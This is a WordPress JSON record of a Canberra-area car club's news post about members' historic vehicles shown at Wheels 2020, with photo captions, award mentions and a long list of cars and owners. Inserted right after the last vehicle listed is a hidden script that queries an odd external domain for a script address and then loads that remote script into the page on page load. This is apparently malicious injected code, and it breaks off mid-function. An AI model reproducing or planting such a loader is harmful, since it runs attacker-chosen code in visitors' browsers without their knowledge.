{"id":3111,"date":"2020-03-05T12:25:40","date_gmt":"2020-03-05T01:25:40","guid":{"rendered":"https:\/\/cacmc.org.au\/website\/?p=3111"},"modified":"2025-09-05T20:17:22","modified_gmt":"2025-09-05T10:17:22","slug":"wheels-2020-shows-off-cacmc-diversity-of-member-vehicles","status":"publish","type":"post","link":"https:\/\/cacmc.org.au\/website\/wheels-2020-shows-off-cacmc-diversity-of-member-vehicles\/","title":{"rendered":"Wheels 2020 shows off CACMC diversity of member vehicles"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3117\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-1024x327.jpg\" alt=\"\" width=\"605\" height=\"193\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-1024x327.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-400x128.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-180x57.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-768x245.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-100x32.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-150x48.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-200x64.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-300x96.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-450x144.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-600x192.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated-900x287.jpg 900w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Club-all-elevated.jpg 1134w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><br \/>\nThere were around 50 historic vehicles on display in the CACMC area on the main arena at Queanbeyan Showgrounds, not to mention those parked with other specialist clubs. The weather was fine and the grass on the arena was mostly green, making a very pleasant day with minimal dust. The Club team arrived early to set up our marquee and information tables in prime position next to the vehicle entrance.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3113\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-1024x806.jpg\" alt=\"\" width=\"605\" height=\"476\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-1024x806.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-381x300.jpg 381w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-180x142.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-768x604.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-100x79.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-150x118.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-200x157.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-300x236.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-450x354.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-600x472.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis-900x708.jpg 900w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/1923-Alvis.jpg 1444w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3121\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-1024x737.jpg\" alt=\"\" width=\"605\" height=\"435\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-1024x737.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-400x288.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-180x130.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-768x553.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-100x72.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-150x108.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-200x144.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-300x216.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-450x324.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-600x432.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-900x648.jpg 900w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard.jpg 1457w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><br \/>\nSeveral cars were new to the club \u2013 including Matthew Houston\u2019s 1923 Alvis Ducksback and John Tuckey&#8217;s unique Rochdale Mustard.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3122\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-1024x768.jpg\" alt=\"\" width=\"605\" height=\"454\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-1024x768.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-400x300.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-180x135.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-768x576.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-1536x1152.jpg 1536w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-2048x1536.jpg 2048w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-100x75.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-150x113.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-200x150.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-300x225.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-450x338.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-600x450.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Mustard-check2-900x675.jpg 900w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><br \/>\nThe Rochdale Mustard was hand built by John\u2019s father, on a tubular frame powered by a Ford Anglia motor. The Mustard got a thorough check-over by CACMC\u2019s diligent team of examiners. Doing the assessments for the Club\u2019s annual trophies are (L to R) Graham Bigg (legs only), Joe Micallef, Waine Summerfield, Malcom Noad (reclining) and Bob Alexander. [NB this photo was not posed!].<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3120\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA.jpg\" alt=\"\" width=\"817\" height=\"594\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA.jpg 817w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-400x291.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-180x131.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-768x558.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-100x73.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-150x109.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-200x145.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-300x218.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-450x327.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/DodgeDA-600x436.jpg 600w\" sizes=\"auto, (max-width: 817px) 100vw, 817px\" \/><br \/>\nRod Greschke\u2019s glittering 1929 Dodge DA was awarded the Wheels organizers&#8217; \u201cGuest of Honour\u2019s Prize\u201d. Karl Maftoum\u2019s sturdy and very original 1950 Lanchester LD10 got an honourable mention in the same category.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3114\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-1024x529.jpg\" alt=\"\" width=\"605\" height=\"313\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-1024x529.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-400x207.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-180x93.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-768x397.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-100x52.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-150x77.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-200x103.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-300x155.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-450x232.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-600x310.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect-900x465.jpg 900w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/A30-Respect.jpg 1063w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><br \/>\nThe plucky Austin A30 used to be everywhere but is rarely seen these days, even at historic car events. Here Dave Byers pays proper respect to Rob Mihalyka\u2019s immaculate 1956 A30.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-large wp-image-3115\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-1024x566.jpg\" alt=\"\" width=\"605\" height=\"334\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-1024x566.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-400x221.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-180x100.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-768x425.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-100x55.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-150x83.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-200x111.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-300x166.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-450x249.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-600x332.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2-900x498.jpg 900w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Buicks2.jpg 1094w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3116 size-large\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-1024x578.jpg\" alt=\"\" width=\"605\" height=\"341\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-1024x578.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-400x226.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-180x102.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-768x434.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-1536x867.jpg 1536w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-2048x1157.jpg 2048w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-100x56.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-150x85.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-200x113.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-300x169.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-450x254.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-600x339.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/Chummy-e1583448243368-900x508.jpg 900w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-3118\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1.jpg\" alt=\"\" width=\"980\" height=\"533\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1.jpg 980w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-400x218.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-180x98.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-768x418.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-100x54.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-150x82.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-200x109.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-300x163.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-450x245.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-600x326.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow1-900x489.jpg 900w\" sizes=\"auto, (max-width: 980px) 100vw, 980px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-3119 size-large\" src=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-1024x440.jpg\" alt=\"\" width=\"605\" height=\"260\" srcset=\"https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-1024x440.jpg 1024w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-400x172.jpg 400w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-180x77.jpg 180w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-768x330.jpg 768w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-1536x660.jpg 1536w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-2048x880.jpg 2048w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-100x43.jpg 100w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-150x64.jpg 150w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-200x86.jpg 200w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-300x129.jpg 300w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-450x193.jpg 450w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-600x258.jpg 600w, https:\/\/cacmc.org.au\/website\/wp-content\/uploads\/ClubRow2-e1583448317822-900x387.jpg 900w\" sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><\/p>\n<p>Our attendance sheet of members&#8217; vehicles, including a few who parked with other clubs, shows in order of seniority:<\/p>\n<p>1923 Alvis Ducksback &#8211; Matthew Houston<br \/>\n1925 Vauxhall 14\/40 &#8211; Malcolm Noad<br \/>\n1926 Buick &#8211; Waine Summerfield<br \/>\n1929 Dodge DA &#8211; Rod Greshke<br \/>\n1929 Hudson &#8211; Bob Garrett<br \/>\n1930 Buick &#8211; Michael Carnovale<br \/>\n1931 Austin 7 &#8211; Howard Taylor<br \/>\n1934 De Soto Airflow &#8211; Lee Gaynor<br \/>\n1936 Buick Sloper &#8211; Boyd Jonas<br \/>\n1937 Vauxhall &#8211; Roger Amos<br \/>\n1938 Packard limo &#8211; Peter Toet<br \/>\n1939 Buick Business Coupe &#8211; Phil and Fay Cancillier<br \/>\n1939 Morris 10\/4 &#8211; Peter Bruce<br \/>\n1942 Chrysler Windsor \u2013 Albert Neuss<br \/>\n1944 Jeep &#8211; Alan Boate<br \/>\n1947 Buick &#8211; Phil Smith<br \/>\n1948 Bondwood caravan &#8211; Michael and Anne Toole<br \/>\n1948 Ford Pilot &#8211; Mark Butterfield<br \/>\n1950 Lanchester LD10 &#8211; Karl Maftoum<br \/>\n1950 Morris Minor &#8211; Garry Buttriss<br \/>\n1950 Studebaker &#8211; Charlie Adams<br \/>\n1950 Caravan \u2013 Paul Jamieson<br \/>\n1951 Jaguar Mk5 \u2013 Paul Jamieson<br \/>\n1954 Chevrolet &#8211; Alan Martin<br \/>\n1954 Daimler Conquest &#8211; Richard Thwaites<br \/>\n1955 MG ZA Magnette &#8211; Graham Gittins<br \/>\n1956 Austin A30 &#8211; Rob Mihalyka<br \/>\n1958 Rochdale Mustard &#8211; John Tuckey<br \/>\n1959 Ford Skyliner &#8211; Brian O\u2019Donnell<br \/>\n1960 FB Holden &#8211; Tony McDevitt<br \/>\n1962 Triumph TR4 &#8211; Dave Rogers<br \/>\n1963 Fiat 1500 &#8211; Geoff Hall<br \/>\n1963 Humber Vogue Sports &#8211; Neil Buttriss<br \/>\n1964 EH Holden &#8211; Bronwyn Graham<br \/>\n1964 Humber Vogue &#8211; Chris Berry<br \/>\n1964 Wayfarer caravan &#8211; Ken and Judy Herne<br \/>\n1965 Fiat 500 &#8211; Geoff Hall<br \/>\n1967 HR Holden &#8211; Helen Phillips<br \/>\n1967 HR Holden &#8211; Vin Liston<br \/>\n1968 Hillman Hunter &#8211; John Liston<br \/>\n1968 Holden Monaro &#8211; Michael and Vanda Catanzariti<br \/>\n1970 Triumph 2500 &#8211; Graham Waite<br \/>\n1972 Austin 3-litre &#8211; Ray Gallagher<br \/>\n1972 Holden HQ GTS Monaro &#8211; Scott Molloy<br \/>\n1972 Triumph Spitfire &#8211; Brian Ely<br \/>\n1972 Van den Plas 1300 &#8211; Dave Byers<br \/>\n1973 Leyland P76 &#8211; David Fox<br \/>\n1974 Rover P6B &#8211; Geoff Fiddian<br \/>\n1975 BMW 520 &#8211; Graham Bigg<br \/>\n1980 Honda Prelude &#8211; Joe Micallef<br \/>\n1982 Cressida &#8211; Ian Hooley<br \/>\n1985 Jaguar XJS-C &#8211; Grahame Crocket and Sue Davis<br \/>\n1989 Land Rover Perentie &#8211; Alan Boate<br \/>\n1989 Mazda MX5 &#8211; Bob Judd<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>       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The weather was fine and the grass on the arena was mostly green, making a very pleasant day with minimal dust. The Club team arrived early to [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":"","_wp_rev_ctl_limit":""},"categories":[245],"tags":[],"class_list":["post-3111","post","type-post","status-publish","format-standard","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/posts\/3111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/comments?post=3111"}],"version-history":[{"count":6,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/posts\/3111\/revisions"}],"predecessor-version":[{"id":5142,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/posts\/3111\/revisions\/5142"}],"wp:attachment":[{"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/media?parent=3111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/categories?post=3111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cacmc.org.au\/website\/wp-json\/wp\/v2\/tags?post=3111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}